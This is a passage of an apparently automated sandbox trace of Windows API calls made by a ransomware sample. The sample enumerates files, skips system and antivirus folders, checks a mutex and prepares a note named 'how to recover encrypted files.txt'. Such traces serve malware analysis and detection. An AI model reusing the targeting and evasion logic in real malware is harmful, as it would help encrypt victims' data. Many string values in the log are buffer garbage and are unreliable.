shared\\dw\\") returned 0x32 [0041.290] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\ꐨR ") returned 6 [0041.290] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\ition\\") returned 7 [0041.290] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@꟬R企@\x18?T\x18y")) returned 0xffffffff [0041.290] GetLastError () returned 0x2 [0041.291] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.291] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0041.291] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\ition\\") returned 7 [0041.291] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@Q企@\x18?T\x18\x81")) returned 0xffffffff [0041.291] GetLastError () returned 0x2 [0041.291] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.291] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0041.291] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\ition\\") returned 6 [0041.291] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꜤR企@\x18?T\x18\x88")) returned 0xffffffff [0041.291] GetLastError () returned 0x2 [0041.292] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.292] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0041.292] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\ition\\") returned 6 [0041.292] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@꟬R企@\x18?T\x18\x8f")) returned 0xffffffff [0041.292] GetLastError () returned 0x2 [0041.292] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.292] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0041.292] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\ition\\") returned 7 [0041.292] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0041.292] GetLastError () returned 0x2 [0041.293] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.293] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0041.293] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.293] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.293] GlobalUnlock (hMem=0x44000c) returned 0 [0041.293] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.293] GlobalLock (hMem=0x440004) returned 0x552180 [0041.293] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.293] GlobalUnlock (hMem=0x44000c) returned 0 [0041.293] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.293] GlobalUnlock (hMem=0x440004) returned 0 [0041.293] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.293] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.293] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0041.293] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.293] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0041.293] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 46 [0041.294] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.294] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.294] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0041.294] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.294] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0041.294] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0041.294] GlobalLock (hMem=0x440004) returned 0x550170 [0041.294] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.294] GlobalUnlock (hMem=0x440004) returned 0 [0041.294] GlobalLock (hMem=0x440004) returned 0x550170 [0041.294] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.294] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.294] GlobalUnlock (hMem=0x440004) returned 0 [0041.294] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.294] GlobalUnlock (hMem=0x44000c) returned 0 [0041.294] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.294] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0041.295] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0041.295] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0041.295] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 18 [0041.295] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 28 [0041.296] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 10 [0041.296] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 8 [0041.296] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0041.296] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\dw\\") returned 0x32 [0041.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 13 [0041.296] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.297] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.297] GlobalUnlock (hMem=0x44000c) returned 0 [0041.297] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.297] GlobalLock (hMem=0x440004) returned 0x552180 [0041.297] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.297] GlobalUnlock (hMem=0x44000c) returned 0 [0041.297] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.297] GlobalUnlock (hMem=0x440004) returned 0 [0041.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61cf8, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0041.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0041.297] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.297] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0041.297] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0041.297] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.297] GlobalLock (hMem=0x440004) returned 0x551178 [0041.297] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.297] GlobalUnlock (hMem=0x440004) returned 0 [0041.297] GlobalLock (hMem=0x440004) returned 0x551178 [0041.297] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.297] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.297] GlobalUnlock (hMem=0x440004) returned 0 [0041.297] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.297] GlobalUnlock (hMem=0x44000c) returned 0 [0041.297] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.298] CharLowerBuffW (in: lpsz="DBGHELP.DLL", cchLength=0xb | out: lpsz="dbghelp.dll") returned 0xb [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", cchWideChar=61, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 61 [0041.298] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\DW\\DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 4 [0041.298] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0041.298] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.298] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.298] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.298] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.298] GlobalUnlock (hMem=0x44000c) returned 0 [0041.298] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.299] GlobalLock (hMem=0x440004) returned 0x553188 [0041.299] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.299] GlobalUnlock (hMem=0x44000c) returned 0 [0041.299] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.299] GlobalUnlock (hMem=0x440004) returned 0 [0041.299] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.299] CharLowerBuffW (in: lpsz="DW20.EXE", cchLength=0x8 | out: lpsz="dw20.exe") returned 0x8 [0041.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0041.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", cchWideChar=58, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXEv", 